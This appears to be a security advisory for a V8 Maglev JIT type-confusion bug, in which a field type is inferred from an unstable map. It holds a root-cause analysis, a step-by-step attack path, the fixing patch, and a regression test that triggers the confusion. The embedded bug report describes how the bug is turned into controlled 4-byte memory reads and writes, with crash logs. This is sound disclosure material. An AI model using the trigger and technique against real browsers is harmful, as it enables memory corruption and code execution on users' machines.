CVE-2026-76038
Overview
Background
- Maglev
- V8’s mid-tier optimizing JIT compiler, which builds a graph from bytecode and attaches static type information (
NodeType) to loaded values. - `PropertyAccessInfo`
- a compiler record describing how to access an object property, including its
field_representation(),field_type(), and an optionalfield_map()naming the class map of the stored value. - Field map stability
- a map is stable while no instance has migrated; a class field type derived from an unstable map can be silently widened to
Anyby the GC without deoptimizing code that depends on it. - Stability dependency
- a compilation dependency that forces deoptimization if a relied-upon map loses stability, which is the only thing that makes a map-derived field type safe to trust in optimized code.
Root Cause Analysis
When lowering a property load, NodeTypeFromAccessInfo in src/maglev/maglev-graph-builder.cc derived the loaded value’s NodeType by calling StaticTypeForMap on access_info.field_map() whenever that field map had a value. This trusted the recorded class map even when the map was unstable, violating the invariant that a descriptor-array class map is only a valid type source when it is stable and a stability dependency is installed. For an unstable map, the GC can widen the field’s type to Any and, because the last instance holding that map can migrate away and let the map die, no dependent optimized code is invalidated. The optimized load therefore continues to assume a stale, too-narrow NodeType, so a value of any other type stored into the field is treated as the old class type, producing type confusion.
The fix computes a stable_field_map that is populated only when the field representation is a heap object, a field map exists, and field_map().value().is_stable() is true, and passes it into NodeTypeFromAccessInfo, which now infers a map-based type solely from stable_field_map.
access_info.field_map() unconditionally instead of only from a map proven stable and backed by a stability dependency; the fix threads a stable_field_map (set only under those conditions) so a map-derived NodeType is used only when the GC cannot silently widen the field type out from under the optimized code.Attack Path
- Teach a narrow class field type
Store
DataViewinstances intoHolder.xso thatHolder’s descriptor records the sharedDataViewmap as the class field type forx, letting Maglev infer that narrowNodeType. - Make the recorded map unstable
Generalize an unrelated property (
a.p = 1.5) so the map backing the field type becomes unstable while the recordedfield_map()still points at it. - Optimize the load
Warm and optimize
read, which lowersgetInt32.call(holder.x, ...)and embeds the stale narrowNodeTypefrom the unstable field map with no stability dependency to guard it. - Kill the map without deopt
Migrate the last instance (
b.p = 2.5) and rungc()so the class map dies and the GC widens the field type toAny, yet the optimizedreadis never invalidated. - Trigger the confusion
Store an ordinary object into
holder.xand callread; the optimized code still assumes the oldDataViewtype, so a mismatched object is used as the confused type, which the fixed build correctly surfaces as aTypeError.
Impact Assessment
Files Changed
test/mjsunit/maglev/regress-541926503.jssrc/maglev/maglev-graph-builder.cc
Audit Directions
- Map-derived static typesAudit every place that turns a
field_map(), descriptor class map, or recorded map into a staticNodeType/type check and confirm it requires stability plus an installed stability dependency. - GC-driven field-type wideningLook for optimized code that caches field types without a dependency that deoptimizes when the GC widens the field type to
Anyafter a map dies or an instance migrates. - Unstable-map assumptionsReview compiler paths that consult
access_infomaps or field types and verify they distinguish stable from unstable maps before trusting the value in optimized code.
Patch
From effbf0fc9555ec832149d9884396b9c2f75a46e1 Mon Sep 17 00:00:00 2001 From: Victor Gomes <[email protected]> Date: Mon, 03 Aug 2026 09:57:06 +0200 Subject: [PATCH] [maglev] Only infer a field type from a stable field map The class map recorded in a descriptor array is only a valid source of type information when it is stable and a stability dependency is installed: for an unstable map the GC widens the field type to Any without deoptimizing dependent code. Fixed: 541926503 Change-Id: I14c738f44613fdf403e188c7092fda2a59a0515c Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8182709 Auto-Submit: Victor Gomes <[email protected]> Reviewed-by: Darius Mercadier <[email protected]> Commit-Queue: Victor Gomes <[email protected]> Commit-Queue: Darius Mercadier <[email protected]> Cr-Commit-Position: refs/heads/main@{#108990} --- diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc index 9a81b79..6cf54d1 100644 --- a/src/maglev/maglev-graph-builder.cc +++ b/src/maglev/maglev-graph-builder.cc @@ -113,9 +113,9 @@ } }; -NodeType NodeTypeFromAccessInfo( - compiler::JSHeapBroker* broker, - const compiler::PropertyAccessInfo& access_info) { +NodeType NodeTypeFromAccessInfo(compiler::JSHeapBroker* broker, + const compiler::PropertyAccessInfo& access_info, + compiler::OptionalMapRef stable_field_map) { if (access_info.field_representation().IsSmi()) { return NodeType::kSmi; } @@ -124,8 +124,8 @@ return NodeType::kHeapNumber; } - if (access_info.field_map().has_value()) { - return StaticTypeForMap(access_info.field_map().value(), broker); + if (stable_field_map.has_value()) { + return StaticTypeForMap(stable_field_map.value(), broker); } const auto type = access_info.field_type(); @@ -4466,13 +4466,14 @@ {heap_number}, static_cast<int>(offsetof(HeapNumber, value_))); } - const auto node_type = NodeTypeFromAccessInfo(this->broker(), access_info); compiler::OptionalMapRef stable_field_map; if (access_info.field_representation().IsHeapObject() && access_info.field_map().has_value() && access_info.field_map().value().is_stable()) { stable_field_map = access_info.field_map(); } + const auto node_type = + NodeTypeFromAccessInfo(this->broker(), access_info, stable_field_map); ValueNode* value; GET_VALUE_OR_ABORT( value, BuildLoadTaggedField(load_source, field_index.offset(), node_type, diff --git a/test/mjsunit/maglev/regress-541926503.js b/test/mjsunit/maglev/regress-541926503.js new file mode 100644 index 0000000..11ec072 --- /dev/null +++ b/test/mjsunit/maglev/regress-541926503.js @@ -0,0 +1,42 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --allow-natives-syntax --expose-gc --maglev + +const getInt32 = DataView.prototype.getInt32; + +function read(holder) { + return getInt32.call(holder.x, 0, true); +} + +function Holder(x) { + this.x = x; +} + +const a = new DataView(new ArrayBuffer(16)); +const b = new DataView(new ArrayBuffer(16)); +a.p = 1; +b.p = 2; + +// `Holder.x` learns the DataView map of `a` and `b` as its class field type. +const holder = new Holder(a); +holder.x = b; + +// Generalizing `p` to double makes that map unstable. +a.p = 1.5; + +%PrepareFunctionForOptimization(read); +read(holder); +read(holder); +%OptimizeMaglevOnNextCall(read); +read(holder); + +// The last instance migrates away, so the class map dies and the GC widens the +// field type to Any without invalidating the optimized code. +b.p = 2.5; +gc(); +gc(); + +holder.x = {a: 1, b: 2, c: 3, d: 4, e: 5, f: 6, g: 7, h: 8, i: 9}; +assertThrows(() => read(holder), TypeError);
Regression Test / PoC
diff --git a/test/mjsunit/maglev/regress-541926503.js b/test/mjsunit/maglev/regress-541926503.js
new file mode 100644
index 0000000..11ec072
--- /dev/null
+++ b/test/mjsunit/maglev/regress-541926503.js
@@ -0,0 +1,42 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --expose-gc --maglev
+
+const getInt32 = DataView.prototype.getInt32;
+
+function read(holder) {
+ return getInt32.call(holder.x, 0, true);
+}
+
+function Holder(x) {
+ this.x = x;
+}
+
+const a = new DataView(new ArrayBuffer(16));
+const b = new DataView(new ArrayBuffer(16));
+a.p = 1;
+b.p = 2;
+
+// `Holder.x` learns the DataView map of `a` and `b` as its class field type.
+const holder = new Holder(a);
+holder.x = b;
+
+// Generalizing `p` to double makes that map unstable.
+a.p = 1.5;
+
+%PrepareFunctionForOptimization(read);
+read(holder);
+read(holder);
+%OptimizeMaglevOnNextCall(read);
+read(holder);
+
+// The last instance migrates away, so the class map dies and the GC widens the
+// field type to Any without invalidating the optimized code.
+b.p = 2.5;
+gc();
+gc();
+
+holder.x = {a: 1, b: 2, c: 3, d: 4, e: 5, f: 6, g: 7, h: 8, i: 9};
+assertThrows(() => read(holder), TypeError);
Original Bug Report
Turbolev: stale DataView field type after GC can lead to arbitrary memory r/w
Steps to reproduce the problem
Please run with attached poc.js:
./out.gn/x64.release/d8 \
--allow-natives-syntax \
--turbolev \
./poc.js
release build was compiled with the following args.gn
is_debug=false
is_asan=true
is_clang=true
target_cpu="x64"
v8_target_cpu="x64"
v8_enable_sandbox=true
v8_enable_memory_corruption_api=true
v8_symbol_level=2
Problem Description
VULNERABILITY DETAILS
Turbolev: stale DataView field type after GC can lead to controllable memory corruption.
NodeTypeFromAccessInfo assigns a precise type whenever a property access has a
class field Map:
if (access_info.field_map().has_value()) {
return StaticTypeForMap(access_info.field_map().value(), broker);
}
However, BuildLoadField only retains that Map and installs a stability
dependency when it is stable:
const auto node_type = NodeTypeFromAccessInfo(this->broker(), access_info);
compiler::OptionalMapRef stable_field_map;
if (access_info.field_representation().IsHeapObject() &&
access_info.field_map().has_value() &&
access_info.field_map().value().is_stable()) {
stable_field_map = access_info.field_map();
}
...
if (stable_field_map.has_value()) {
broker()->dependencies()->DependOnStableMap(stable_field_map.value());
} else {
known_info->IntersectType(node_type);
}
This contradicts the access-info contract in src/compiler/access-info.cc,
which states that the field type may be inferred from the class Map only when
the Map is stable and a stability dependency is added at the use.
The PoC creates two DataViews with the same Map M and stores them in a mutable
holder field, causing the field descriptor to learn FieldType::Class(M).
Changing an added property from Smi to double makes M unstable. TurboLev then
compiles the field load with NodeType::kJSDataView, but no dependency keeps
the unstable Map valid.
After the last object migrates away from M, a natural major GC clears the dead
weak class Map in MarkCompactCollector::SpecialClearMapSlot:
if (map->is_stable() && FieldType::kFieldTypesCanBeClearedOnGC) {
location.store(FieldType::None());
} else {
location.store(FieldType::Any());
}
The unstable field type is widened to Any without invalidating the optimized
code. The holder can then contain an ordinary object while the compiled load
still has the stale kJSDataView type. BuildCheckInstanceType accepts this
known type and omits the runtime JS_DATA_VIEW_TYPE check.
TurboLev consequently reads the ordinary object’s in-object fields as the
DataView byte length and data pointer. The optimized
DataView.prototype.getInt32 and setInt32 calls then provide controlled
4-byte memory reads and writes.
IMPACT
The attached PoC first writes the JavaScript-controlled value 0x41414141 to
a selected mapped address and reads the same four bytes back. It throws before
continuing if the readback is not exactly 0x41414141.
It then performs a second 4-byte store at the selected relative address
0x41414141.
Independent executions with different address randomization produced:
Received signal 11 SEGV_ACCERR 7ea441414141
Received signal 11 SEGV_ACCERR 7a8b41414141
Received signal 11 SEGV_ACCERR 7ea841414141
VERSION
Tested commit:
1d17afafffbb434e04b2ee4bec7ca09989626341 (2026-07-31), Linux x86-64.
BISECT
First bad commit:
ea85967a2149d4f648c60cb26d48ba7b75ecdd79 (2026-06-15),
[maglev] Enrich LoadTaggedField with NodeType metadata.
Summary
Turbolev: stale DataView field type after GC can lead to arbitrary memory r/w
Custom Questions
Type of crash:
controllable crash on renderer
Crash state:
Received signal 11 SEGV_ACCERR 7e9f41414141
==== C stack trace ===============================
./v8/v8/out/Release/d8(__interceptor_backtrace+0x4a)[0x63874af446ea]
./v8/v8/out/Release/d8(+0x6b449c0)[0x6387507a99c0]
/lib/x86_64-linux-gnu/libc.so.6(+0x45330)[0x7005cf445330]
[0x6387b04c1934]
[end of stack trace]
Additional Data
Category: Security
Chrome Channel: Not sure
Regression: N/A \